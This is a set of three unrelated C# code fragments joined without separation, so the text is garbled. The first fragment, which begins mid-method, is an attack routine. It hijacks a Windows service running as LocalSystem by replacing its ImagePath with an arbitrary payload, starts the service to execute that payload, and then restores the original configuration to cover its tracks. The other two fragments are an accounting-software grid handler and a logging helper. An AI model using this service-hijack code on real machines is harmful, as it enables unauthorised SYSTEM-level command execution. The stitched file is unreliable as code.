exits. foreach (var service in services) { if (service.ServiceName == options.service) { found = true; } } if (found) { serviceInfo = GetServiceInfo(options.service, SCMHandle); if (serviceInfo.startName.ToLower() == "localsystem") { Console.WriteLine($" |-> Service {options.service} authenticated as {serviceInfo.startName}."); } else { Console.WriteLine($"\n[!] The service {options.service} is authenticated {serviceInfo.displayName} aborting to not lose the account."); Environment.Exit(0); } } else { Console.WriteLine($" |-> Service not found {options.service}."); Environment.Exit(0); } } string previousImagePath = serviceInfo.binaryPathName; Console.WriteLine($"\n[>] Setting up payload."); string payload = options.payload; Console.WriteLine($" |-> payload = {payload}"); Console.WriteLine($" |-> ImagePath previous value = {previousImagePath}."); // Modify the service with the payload Console.WriteLine($" |-> Modifying ImagePath value with payload."); result = ChangeServiceConfig(serviceInfo.serviceHandle, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, payload, null, IntPtr.Zero, null, null, null, null); if (!result) { string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message; Console.WriteLine("[!] ChangeServiceConfig failed. Error: {0}", errorMessage); Environment.Exit(0); } Console.WriteLine($"\n[>] Starting service {serviceInfo.displayName} with new ImagePath."); result = StartService(serviceInfo.serviceHandle, 0, null); //if(!result) //Console.WriteLine($" |-> Possible command execution completed."); // Wait 5 seconds before restoring the values Console.WriteLine($"\n[>] Waiting 5 seconds to finish."); Thread.Sleep(5000); Console.WriteLine($"\n[>] Restoring service configuration."); result = ChangeServiceConfig(serviceInfo.serviceHandle, SERVICE_NO_CHANGE, serviceInfo.startType, 0, previousImagePath, null, IntPtr.Zero, null, serviceInfo.startName, null, null); if (!result) { string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message; Console.WriteLine("[!] ChangeServiceConfig failed. Error: {0}", errorMessage); Environment.Exit(0); } else { Console.WriteLine($" |-> {serviceInfo.displayName} Log On => {serviceInfo.startName}."); Console.WriteLine($" |-> {serviceInfo.displayName} status => {serviceInfo.startType}."); Console.WriteLine($" |-> {serviceInfo.displayName} ImagePath => {previousImagePath}"); } } catch (Exception ex) { Console.WriteLine("\n[!] General Error: {0}\n", ex.Message); } }
/// <summary> /// On cellvaluechange of dgvServiceVoucher /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void dgvServiceVoucher_CellValueChanged(object sender, DataGridViewCellEventArgs e) { try { ServicesBll BllService = new ServicesBll(); ServiceInfo infoService = new ServiceInfo(); decimal decRate = 0; if (e.RowIndex != -1 && e.ColumnIndex != -1) { SerialNo(); if (e.ColumnIndex == dgvServiceVoucher.Columns["dgvcmbParticulars"].Index) { if (dgvServiceVoucher.Rows[e.RowIndex].Cells["dgvcmbParticulars"].Value != null && dgvServiceVoucher.Rows[e.RowIndex].Cells["dgvcmbParticulars"].Value.ToString() != string.Empty) { infoService = BllService.ServiceViewForRate(Convert.ToDecimal(dgvServiceVoucher.Rows[e.RowIndex].Cells["dgvcmbParticulars"].Value.ToString())); decRate = infoService.Rate; string strAmount = decRate.ToString(); if (strAmount != string.Empty) { dgvServiceVoucher.Rows[e.RowIndex].Cells["dgvtxtAmount"].Value = strAmount; } } } AmountCalculation(); } CheckColumnMissing(e); } catch (Exception ex) { MessageBox.Show("SV 45 : " + ex.Message, "OpenMiracle", MessageBoxButtons.OK, MessageBoxIcon.Information); } }
public static void Debug(this ILogger logger, string message, Exception exception = null, ServiceInfo serviceInfo = null) { FilteredLog(logger, LogLevel.Debug, message, exception, serviceInfo); }